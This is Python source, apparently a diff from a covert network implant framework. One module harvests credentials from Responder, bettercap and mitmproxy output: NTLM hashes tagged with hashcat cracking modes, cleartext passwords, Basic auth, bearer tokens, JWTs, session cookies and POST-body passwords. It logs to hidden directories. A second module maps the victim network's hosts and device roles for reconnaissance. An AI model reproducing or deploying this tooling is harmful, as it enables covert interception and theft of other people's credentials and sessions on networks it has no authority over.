def _parse_responder_hash_file(self, path: str, cred_type: str,
|
||||
hashcat_mode: int) -> None:
|
||||
"""Parse a Responder NTLMv1/v2 hash file."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
regex = _NTLMV2_RE if cred_type == "ntlmv2" else _NTLMV1_RE
|
||||
|
||||
for match in regex.finditer(new_data):
|
||||
full_hash = match.group(0).strip()
|
||||
username = match.group("username")
|
||||
domain = match.group("domain")
|
||||
|
||||
# Dedup check
|
||||
hash_key = f"{cred_type}:{username}:{domain}:{full_hash[:32]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": "smb",
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"cred_type": cred_type,
|
||||
"cred_value": full_hash,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
"source_ip": "",
|
||||
"target_ip": "",
|
||||
"notes": f"Captured by Responder from {os.path.basename(path)}",
|
||||
})
|
||||
|
||||
def _parse_responder_session(self, path: str) -> None:
|
||||
"""Parse Responder-Session.log for cleartext credentials."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for match in _RESPONDER_SESSION_RE.finditer(new_data):
|
||||
protocol = match.group("protocol").lower()
|
||||
username = match.group("username")
|
||||
password = match.group("password")
|
||||
source_ip = match.group("source_ip")
|
||||
|
||||
hash_key = f"responder_session:{protocol}:{username}:{source_ip}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": f"{protocol}_cleartext",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": "",
|
||||
"notes": "Cleartext capture by Responder",
|
||||
})
|
||||
|
||||
# Also check for HTTP basic auth in session log
|
||||
for match in _RESPONDER_HTTP_RE.finditer(new_data):
|
||||
username = match.group("username")
|
||||
password = match.group("password")
|
||||
|
||||
hash_key = f"responder_http:{username}:{password[:8]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": "http",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_basic",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": "",
|
||||
"notes": "HTTP Basic Auth captured by Responder",
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# bettercap parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_bettercap_logs(self) -> None:
|
||||
"""Scan bettercap log files for credential and host events."""
|
||||
log_dirs = self.config.get("bettercap_log_dirs", [
|
||||
"/opt/.cache/bb/bettercap/logs",
|
||||
os.path.expanduser("~/.implant/bettercap"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
for path in glob.glob(os.path.join(log_dir, "events*.json")):
|
||||
self._parse_bettercap_event_file(path)
|
||||
|
||||
def _parse_bettercap_event_file(self, path: str) -> None:
|
||||
"""Parse a bettercap JSON event log file."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
# bettercap event files: one JSON object per line
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
event = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
self._process_bettercap_event(event)
|
||||
|
||||
def _bettercap_event_loop(self) -> None:
|
||||
"""Connect to bettercap REST API and stream events."""
|
||||
# Import here to avoid hard dependency
|
||||
try:
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
except ImportError:
|
||||
return
|
||||
|
||||
api_host = self.config.get("bettercap", {}).get("host", "127.0.0.1")
|
||||
api_port = self.config.get("bettercap", {}).get("port", 8083)
|
||||
api_user = self.config.get("bettercap", {}).get("api_user", "admin")
|
||||
api_pass = self.config.get("bettercap", {}).get("api_password", "")
|
||||
|
||||
base_url = f"http://{api_host}:{api_port}"
|
||||
last_event_id = 0
|
||||
|
||||
while self._running:
|
||||
try:
|
||||
url = f"{base_url}/api/events?n=50"
|
||||
|
||||
# Create auth handler
|
||||
auth = f"{api_user}:{api_pass}"
|
||||
import base64
|
||||
auth_b64 = base64.b64encode(auth.encode()).decode()
|
||||
req = urllib.request.Request(url)
|
||||
req.add_header("Authorization", f"Basic {auth_b64}")
|
||||
|
||||
with urllib.request.urlopen(req, timeout=10) as resp:
|
||||
data = json.loads(resp.read().decode())
|
||||
|
||||
if isinstance(data, list):
|
||||
for event in data:
|
||||
self._process_bettercap_event(event)
|
||||
|
||||
except urllib.error.URLError:
|
||||
pass # bettercap not running — expected
|
||||
except Exception:
|
||||
logger.debug("bettercap API poll failed", exc_info=True)
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
def _process_bettercap_event(self, event: dict) -> None:
|
||||
"""Process a single bettercap event."""
|
||||
tag = event.get("tag", "")
|
||||
data = event.get("data", {})
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return
|
||||
|
||||
# Credential events
|
||||
if tag in _BETTERCAP_CRED_EVENTS or tag == "net.sniff.credentials":
|
||||
self._handle_bettercap_credential(data)
|
||||
|
||||
# Host discovery events
|
||||
elif tag in _BETTERCAP_HOST_EVENTS or tag == "endpoint.new":
|
||||
self._handle_bettercap_host(data)
|
||||
|
||||
# HTTP request events (for header analysis)
|
||||
elif tag in ("net.sniff.http.request", "http.proxy.request"):
|
||||
self._handle_bettercap_http(data)
|
||||
|
||||
def _handle_bettercap_credential(self, data: dict) -> None:
|
||||
"""Extract credentials from a bettercap sniff event."""
|
||||
protocol = data.get("protocol", "unknown").lower()
|
||||
username = data.get("username", data.get("user", ""))
|
||||
password = data.get("password", data.get("pass", ""))
|
||||
source = data.get("from", data.get("src", ""))
|
||||
target = data.get("to", data.get("dst", ""))
|
||||
|
||||
if not (username or password):
|
||||
# Check for raw hash data
|
||||
hash_val = data.get("hash", data.get("data", ""))
|
||||
if hash_val:
|
||||
cred_type = data.get("type", "unknown_hash")
|
||||
hash_key = f"bettercap:{cred_type}:{hash_val[:32]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": cred_type,
|
||||
"cred_value": hash_val,
|
||||
"source_ip": source,
|
||||
"target_ip": target,
|
||||
"notes": "Captured by bettercap",
|
||||
})
|
||||
return
|
||||
|
||||
hash_key = f"bettercap:{protocol}:{username}:{password[:16]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": protocol,
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": f"{protocol}_cleartext",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source,
|
||||
"target_ip": target,
|
||||
"notes": "Captured by bettercap sniffer",
|
||||
})
|
||||
|
||||
def _handle_bettercap_host(self, data: dict) -> None:
|
||||
"""Extract host info from a bettercap endpoint event."""
|
||||
ip = data.get("ipv4", data.get("addr", ""))
|
||||
if not ip:
|
||||
return
|
||||
|
||||
hash_key = f"bettercap:host:{ip}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
return
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._hosts_parsed += 1
|
||||
self.bus.emit("HOST_DISCOVERED", {
|
||||
"ip": ip,
|
||||
"mac": data.get("mac", ""),
|
||||
"hostname": data.get("hostname", data.get("name", "")),
|
||||
"os_family": data.get("os", ""),
|
||||
"vendor": data.get("vendor", ""),
|
||||
}, source_module=self.name)
|
||||
|
||||
def _handle_bettercap_http(self, data: dict) -> None:
|
||||
"""Extract credentials from HTTP request headers."""
|
||||
headers = data.get("headers", {})
|
||||
if not isinstance(headers, dict):
|
||||
return
|
||||
|
||||
host = data.get("host", "")
|
||||
path = data.get("path", data.get("url", ""))
|
||||
source = data.get("from", "")
|
||||
|
||||
for header_name, header_value in headers.items():
|
||||
header_lower = header_name.lower()
|
||||
|
||||
if header_lower == "authorization":
|
||||
self._parse_auth_header(header_value, host, source)
|
||||
|
||||
elif header_lower == "cookie":
|
||||
self._parse_cookie_header(header_value, host, source)
|
||||
|
||||
def _parse_auth_header(self, value: str, host: str,
|
||||
source_ip: str) -> None:
|
||||
"""Parse Authorization header for credentials."""
|
||||
# Basic Auth
|
||||
basic_match = _AUTH_BASIC_RE.match(value)
|
||||
if basic_match:
|
||||
try:
|
||||
import base64
|
||||
decoded = base64.b64decode(basic_match.group(1)).decode("utf-8", errors="replace")
|
||||
if ":" in decoded:
|
||||
username, password = decoded.split(":", 1)
|
||||
|
||||
hash_key = f"http_auth:{host}:{username}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_basic",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": "HTTP Basic Auth from traffic",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
return
|
||||
|
||||
# Bearer token
|
||||
bearer_match = _AUTH_BEARER_RE.match(value)
|
||||
if bearer_match:
|
||||
token = bearer_match.group(1)
|
||||
hash_key = f"bearer:{host}:{token[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
|
||||
# Check if it looks like a JWT
|
||||
cred_type = "jwt" if token.count(".") == 2 else "bearer_token"
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": cred_type,
|
||||
"cred_value": token,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": f"{cred_type.upper()} from HTTP traffic",
|
||||
})
|
||||
|
||||
def _parse_cookie_header(self, value: str, host: str,
|
||||
source_ip: str) -> None:
|
||||
"""Parse Cookie header for session tokens."""
|
||||
for cookie_pair in value.split(";"):
|
||||
cookie_pair = cookie_pair.strip()
|
||||
if "=" not in cookie_pair:
|
||||
continue
|
||||
|
||||
name, cookie_val = cookie_pair.split("=", 1)
|
||||
name = name.strip().lower()
|
||||
|
||||
if name in _SESSION_COOKIE_NAMES:
|
||||
hash_key = f"cookie:{host}:{name}:{cookie_val[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": "",
|
||||
"domain": "",
|
||||
"cred_type": "cookie",
|
||||
"cred_value": f"{name}={cookie_val}",
|
||||
"hashcat_mode": None,
|
||||
"source_ip": source_ip,
|
||||
"target_ip": host,
|
||||
"notes": f"Session cookie '{name}' from HTTP traffic",
|
||||
})
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# mitmproxy parser
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _scan_mitmproxy_flows(self) -> None:
|
||||
"""Scan mitmproxy flow dump files for credentials."""
|
||||
log_dirs = self.config.get("mitmproxy_log_dirs", [
|
||||
"/opt/.cache/bb/mitmproxy",
|
||||
os.path.expanduser("~/.implant/mitmproxy"),
|
||||
])
|
||||
|
||||
for log_dir in log_dirs:
|
||||
if not os.path.isdir(log_dir):
|
||||
continue
|
||||
|
||||
# mitmproxy dumped flows (JSON format via mitmdump --set flow_detail=3)
|
||||
for path in glob.glob(os.path.join(log_dir, "flows*.json")):
|
||||
self._parse_mitmproxy_flow_file(path)
|
||||
|
||||
# Also check for plaintext credential logs
|
||||
for path in glob.glob(os.path.join(log_dir, "credentials*.log")):
|
||||
self._parse_mitmproxy_cred_log(path)
|
||||
|
||||
def _parse_mitmproxy_flow_file(self, path: str) -> None:
|
||||
"""Parse a mitmproxy JSON flow dump."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
flow = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
request = flow.get("request", {})
|
||||
headers = request.get("headers", {})
|
||||
host = request.get("host", "")
|
||||
path_url = request.get("path", "")
|
||||
method = request.get("method", "")
|
||||
|
||||
if isinstance(headers, dict):
|
||||
for hdr_name, hdr_value in headers.items():
|
||||
hdr_lower = hdr_name.lower()
|
||||
if hdr_lower == "authorization":
|
||||
self._parse_auth_header(hdr_value, host, "")
|
||||
elif hdr_lower == "cookie":
|
||||
self._parse_cookie_header(hdr_value, host, "")
|
||||
|
||||
# Check POST body for credentials
|
||||
content = request.get("content", "")
|
||||
if method == "POST" and content:
|
||||
self._parse_post_body(content, host)
|
||||
|
||||
def _parse_mitmproxy_cred_log(self, path: str) -> None:
|
||||
"""Parse a mitmproxy addon credential log (custom format)."""
|
||||
new_data = self._read_new_data(path)
|
||||
if not new_data:
|
||||
return
|
||||
|
||||
self._files_scanned += 1
|
||||
|
||||
for line in new_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
entry = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
|
||||
username = entry.get("username", "")
|
||||
password = entry.get("password", "")
|
||||
host = entry.get("host", "")
|
||||
|
||||
if username and password:
|
||||
hash_key = f"mitmproxy:{host}:{username}:{password[:16]}"
|
||||
if hash_key in self._emitted_hashes:
|
||||
continue
|
||||
self._emitted_hashes.add(hash_key)
|
||||
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"https://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_form",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "Form credentials captured by mitmproxy",
|
||||
})
|
||||
|
||||
def _parse_post_body(self, content: str, host: str) -> None:
|
||||
"""Look for credentials in HTTP POST bodies."""
|
||||
# URL-encoded form data
|
||||
cred_fields = {
|
||||
"password", "passwd", "pass", "pwd", "secret",
|
||||
"token", "api_key", "apikey",
|
||||
}
|
||||
user_fields = {
|
||||
"username", "user", "login", "email", "account",
|
||||
}
|
||||
|
||||
# Try URL-encoded
|
||||
try:
|
||||
from urllib.parse import parse_qs
|
||||
params = parse_qs(content, keep_blank_values=True)
|
||||
|
||||
username = ""
|
||||
password = ""
|
||||
for field in user_fields:
|
||||
if field in params:
|
||||
username = params[field][0]
|
||||
break
|
||||
for field in cred_fields:
|
||||
if field in params:
|
||||
password = params[field][0]
|
||||
break
|
||||
|
||||
if username and password:
|
||||
hash_key = f"post:{host}:{username}:{password[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_form",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "Form POST credentials from HTTP traffic",
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Try JSON body
|
||||
try:
|
||||
data = json.loads(content)
|
||||
if isinstance(data, dict):
|
||||
username = ""
|
||||
password = ""
|
||||
for field in user_fields:
|
||||
if field in data:
|
||||
username = str(data[field])
|
||||
break
|
||||
for field in cred_fields:
|
||||
if field in data:
|
||||
password = str(data[field])
|
||||
break
|
||||
|
||||
if username and password:
|
||||
hash_key = f"json_post:{host}:{username}:{password[:16]}"
|
||||
if hash_key not in self._emitted_hashes:
|
||||
self._emitted_hashes.add(hash_key)
|
||||
self._creds_parsed += 1
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"service": f"http://{host}",
|
||||
"username": username,
|
||||
"domain": "",
|
||||
"cred_type": "http_json",
|
||||
"cred_value": password,
|
||||
"hashcat_mode": None,
|
||||
"source_ip": "",
|
||||
"target_ip": host,
|
||||
"notes": "JSON POST credentials from HTTP traffic",
|
||||
})
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# File reading utilities
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _read_new_data(self, path: str) -> str:
|
||||
"""Read only new data from a file since the last read.
|
||||
|
||||
Returns the new data, or empty string if nothing new.
|
||||
"""
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
except OSError:
|
||||
return ""
|
||||
|
||||
last_pos = self._file_positions.get(path, 0)
|
||||
if size <= last_pos:
|
||||
return ""
|
||||
|
||||
try:
|
||||
with open(path, "r", errors="replace") as f:
|
||||
f.seek(last_pos)
|
||||
data = f.read()
|
||||
self._file_positions[path] = size
|
||||
return data
|
||||
except (IOError, PermissionError):
|
||||
return ""
|
||||
@@ -0,0 +1,528 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Network topology mapper — aggregates host and VLAN data into graph output.
|
||||
|
||||
Subscribes to HOST_DISCOVERED and VLAN_DETECTED events. Queries the state
|
||||
database for host_discovery, network_mapper, and vlan_discovery data.
|
||||
Generates Graphviz DOT output with nodes color-coded by OS family and
|
||||
shaped by role (workstation, server, printer, router, switch, AP).
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from collections import defaultdict
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# OS family -> Graphviz fill color
|
||||
_OS_COLORS = {
|
||||
"windows": "#4488cc",
|
||||
"linux": "#44aa44",
|
||||
"macos": "#888888",
|
||||
"ios": "#aaaaaa",
|
||||
"android": "#88bb44",
|
||||
"freebsd": "#cc4444",
|
||||
"printer": "#ddaa44",
|
||||
"network": "#cc8844",
|
||||
"iot": "#aa66cc",
|
||||
"unknown": "#cccccc",
|
||||
}
|
||||
|
||||
# Device role -> Graphviz node shape
|
||||
_ROLE_SHAPES = {
|
||||
"workstation": "box",
|
||||
"server": "box3d",
|
||||
"printer": "tab",
|
||||
"router": "diamond",
|
||||
"switch": "hexagon",
|
||||
"ap": "trapezium",
|
||||
"phone": "ellipse",
|
||||
"iot": "component",
|
||||
"unknown": "ellipse",
|
||||
}
|
||||
|
||||
# Protocol -> edge color
|
||||
_PROTO_COLORS = {
|
||||
"tcp": "#333333",
|
||||
"udp": "#666666",
|
||||
"smb": "#4488cc",
|
||||
"http": "#44aa44",
|
||||
"https": "#228822",
|
||||
"dns": "#cc8844",
|
||||
"ssh": "#cc4444",
|
||||
"rdp": "#4444cc",
|
||||
"ldap": "#aa66cc",
|
||||
"kerberos": "#ddaa44",
|
||||
}
|
||||
|
||||
|
||||
class TopologyMapper(BaseModule):
|
||||
"""Build and export a network topology graph from discovered hosts and links."""
|
||||
|
||||
name = "topology_mapper"
|
||||
module_type = "intel"
|
||||
priority = 150
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._lock = threading.Lock()
|
||||
# In-memory graph: nodes keyed by IP, edges as (src, dst) -> {protocols, bytes}
|
||||
self._nodes: dict[str, dict] = {}
|
||||
self._edges: dict[tuple, dict] = defaultdict(lambda: {
|
||||
"protocols": set(), "bytes_total": 0, "conn_count": 0,
|
||||
})
|
||||
self._vlans: dict[int, dict] = {}
|
||||
self._update_thread: Optional[threading.Thread] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.subscribe(self._on_vlan_detected, "VLAN_DETECTED")
|
||||
|
||||
# Load any existing topology data from state
|
||||
self._load_from_state()
|
||||
|
||||
# Periodic refresh from state database
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self._update_thread = threading.Thread(
|
||||
target=self._periodic_update, daemon=True,
|
||||
name="sensor-topology-update",
|
||||
)
|
||||
self._update_thread.start()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info(
|
||||
"TopologyMapper started — %d nodes, %d edges loaded from state",
|
||||
len(self._nodes), len(self._edges),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
self._running = False
|
||||
|
||||
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
|
||||
self.bus.unsubscribe(self._on_vlan_detected, "VLAN_DETECTED")
|
||||
|
||||
# Persist current topology
|
||||
self._save_to_state()
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info(
|
||||
"TopologyMapper stopped — %d nodes, %d edges",
|
||||
len(self._nodes), len(self._edges),
|
||||
)
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"nodes": len(self._nodes),
|
||||
"edges": len(self._edges),
|
||||
"vlans": len(self._vlans),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Event handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _on_host_discovered(self, event) -> None:
|
||||
"""Ingest a newly discovered host."""
|
||||
p = event.payload
|
||||
ip = p.get("ip", "")
|
||||
if not ip:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
if ip in self._nodes:
|
||||
# Merge new data into existing node
|
||||
node = self._nodes[ip]
|
||||
node["last_seen"] = time.time()
|
||||
if p.get("hostname"):
|
||||
node["hostname"] = p["hostname"]
|
||||
if p.get("os_family"):
|
||||
node["os_family"] = p["os_family"].lower()
|
||||
if p.get("role"):
|
||||
node["role"] = p["role"].lower()
|
||||
if p.get("mac"):
|
||||
node["mac"] = p["mac"]
|
||||
if p.get("open_ports"):
|
||||
node.setdefault("open_ports", set()).update(p["open_ports"])
|
||||
if p.get("services"):
|
||||
node.setdefault("services", []).extend(p["services"])
|
||||
else:
|
||||
open_ports = p.get("open_ports", [])
|
||||
self._nodes[ip] = {
|
||||
"ip": ip,
|
||||
"hostname": p.get("hostname", ""),
|
||||
"mac": p.get("mac", ""),
|
||||
"os_family": p.get("os_family", "unknown").lower(),
|
||||
"role": p.get("role", "unknown").lower(),
|
||||
"vlan": p.get("vlan"),
|
||||
"open_ports": set(open_ports) if isinstance(open_ports, list) else open_ports,
|
||||
"services": p.get("services", []),
|
||||
"first_seen": time.time(),
|
||||
"last_seen": time.time(),
|
||||
}
|
||||
|
||||
def _on_vlan_detected(self, event) -> None:
|
||||
"""Record a detected VLAN."""
|
||||
p = event.payload
|
||||
vlan_id = p.get("vlan_id")
|
||||
if vlan_id is None:
|
||||
return
|
||||
|
||||
with self._lock:
|
||||
self._vlans[vlan_id] = {
|
||||
"vlan_id": vlan_id,
|
||||
"name": p.get("name", ""),
|
||||
"subnet": p.get("subnet", ""),
|
||||
"gateway": p.get("gateway", ""),
|
||||
"first_seen": time.time(),
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Graph data aggregation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def add_edge(self, src_ip: str, dst_ip: str, protocol: str = "tcp",
|
||||
bytes_transferred: int = 0) -> None:
|
||||
"""Add or update an edge in the topology graph."""
|
||||
key = (src_ip, dst_ip) if src_ip < dst_ip else (dst_ip, src_ip)
|
||||
with self._lock:
|
||||
edge = self._edges[key]
|
||||
edge["protocols"].add(protocol.lower())
|
||||
edge["bytes_total"] += bytes_transferred
|
||||
edge["conn_count"] += 1
|
||||
|
||||
def _periodic_update(self) -> None:
|
||||
"""Periodically refresh topology from state database."""
|
||||
interval = self.config.get("topology_refresh_interval", 300)
|
||||
while self._running:
|
||||
time.sleep(interval)
|
||||
try:
|
||||
self._refresh_from_state()
|
||||
self._save_to_state()
|
||||
except Exception:
|
||||
logger.exception("Periodic topology update failed")
|
||||
|
||||
def _refresh_from_state(self) -> None:
|
||||
"""Pull host and network data from state key-value store."""
|
||||
# Pull host list from host_discovery module state
|
||||
hosts_json = self.state.get("host_discovery", "discovered_hosts")
|
||||
if hosts_json:
|
||||
try:
|
||||
hosts = json.loads(hosts_json)
|
||||
for host in hosts:
|
||||
ip = host.get("ip", "")
|
||||
if ip and ip not in self._nodes:
|
||||
with self._lock:
|
||||
self._nodes[ip] = {
|
||||
"ip": ip,
|
||||
"hostname": host.get("hostname", ""),
|
||||
"mac": host.get("mac", ""),
|
||||
"os_family": host.get("os_family", "unknown").lower(),
|
||||
"role": self._infer_role(host),
|
||||
"vlan": host.get("vlan"),
|
||||
"open_ports": set(host.get("open_ports", [])),
|
||||
"services": host.get("services", []),
|
||||
"first_seen": host.get("first_seen", time.time()),
|
||||
"last_seen": host.get("last_seen", time.time()),
|
||||
}
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
# Pull VLAN data from vlan_discovery module state
|
||||
vlans_json = self.state.get("vlan_discovery", "vlans")
|
||||
if vlans_json:
|
||||
try:
|
||||
vlans = json.loads(vlans_json)
|
||||
for vlan in vlans:
|
||||
vid = vlan.get("vlan_id")
|
||||
if vid is not None:
|
||||
with self._lock:
|
||||
self._vlans[vid] = vlan
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _infer_role(self, host: dict) -> str:
|
||||
"""Infer device role from open ports and services."""
|
||||
ports = set(host.get("open_ports", []))
|
||||
hostname = host.get("hostname", "").lower()
|
||||
|
||||
# Router/gateway indicators
|
||||
if ports & {179, 520, 521}: # BGP, RIP
|
||||
return "router"
|
||||
if any(kw in hostname for kw in ("gw", "gateway", "router", "rtr")):
|
||||
return "router"
|
||||
|
||||
# Switch indicators
|
||||
if any(kw in hostname for kw in ("switch", "sw-", "sw0")):
|
||||
return "switch"
|
||||
|
||||
# AP indicators
|
||||
if any(kw in hostname for kw in ("ap-", "wap", "access-point")):
|
||||
return "ap"
|
||||
|
||||
# Printer indicators
|
||||
if ports & {515, 631, 9100}: # LPD, IPP, RAW
|
||||
return "printer"
|
||||
if any(kw in hostname for kw in ("print", "prn", "hp", "canon", "brother")):
|
||||
return "printer"
|
||||
|
||||
# Server indicators (multiple service ports)
|
||||
server_ports = {22, 25, 53, 80, 443, 389, 636, 88, 445, 3389, 5432, 3306, 1433, 8080, 8443}
|
||||
if len(ports & server_ports) >= 3:
|
||||
return "server"
|
||||
if any(kw in hostname for kw in ("srv", "server", "dc", "dns", "mail", "web", "db")):
|
||||
return "server"
|
||||
|
||||
return "workstation"
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# State persistence
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _load_from_state(self) -> None:
|
||||
"""Load saved topology from state on startup."""
|
||||
nodes_json = self.state.get(self.name, "nodes")
|
||||
if nodes_json:
|
||||
try:
|
||||
nodes = json.loads(nodes_json)
|
||||
for ip, node in nodes.items():
|
||||
node["open_ports"] = set(node.get("open_ports", []))
|
||||
self._nodes[ip] = node
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
edges_json = self.state.get(self.name, "edges")
|
||||
if edges_json:
|
||||
try:
|
||||
edges = json.loads(edges_json)
|
||||
for key_str, edge_data in edges.items():
|
||||
parts = key_str.split("|")
|
||||
if len(parts) == 2:
|
||||
key = (parts[0], parts[1])
|
||||
edge_data["protocols"] = set(edge_data.get("protocols", []))
|
||||
self._edges[key] = edge_data
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
vlans_json = self.state.get(self.name, "vlans")
|
||||
if vlans_json:
|
||||
try:
|
||||
self._vlans = json.loads(vlans_json)
|
||||
except (json.JSONDecodeError, TypeError):
|
||||
pass
|
||||
|
||||
def _save_to_state(self) -> None:
|
||||
"""Persist topology to state database."""
|
||||
with self._lock:
|
||||
# Serialize nodes (convert sets to lists)
|
||||
nodes_ser = {}
|
||||
for ip, node in self._nodes.items():
|
||||
n = dict(node)
|
||||
n["open_ports"] = list(n.get("open_ports", set()))
|
||||
nodes_ser[ip] = n
|
||||
|
||||
# Serialize edges (convert tuple keys and sets)
|
||||
